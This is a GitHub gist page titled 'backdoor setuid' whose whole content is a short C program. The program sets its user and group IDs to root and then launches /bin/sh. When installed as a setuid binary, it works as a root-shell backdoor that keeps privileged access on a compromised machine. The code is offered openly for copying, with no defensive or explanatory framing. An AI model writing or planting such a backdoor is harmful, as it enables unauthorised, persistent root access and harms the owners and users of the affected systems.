Skip to content

Instantly share code, notes, and snippets.

@fakessh
Created September 14, 2012 21:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fakessh/3725020 to your computer and use it in GitHub Desktop.
Save fakessh/3725020 to your computer and use it in GitHub Desktop.
backdoor setuid
#include <unistd.h>
void main(void)
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment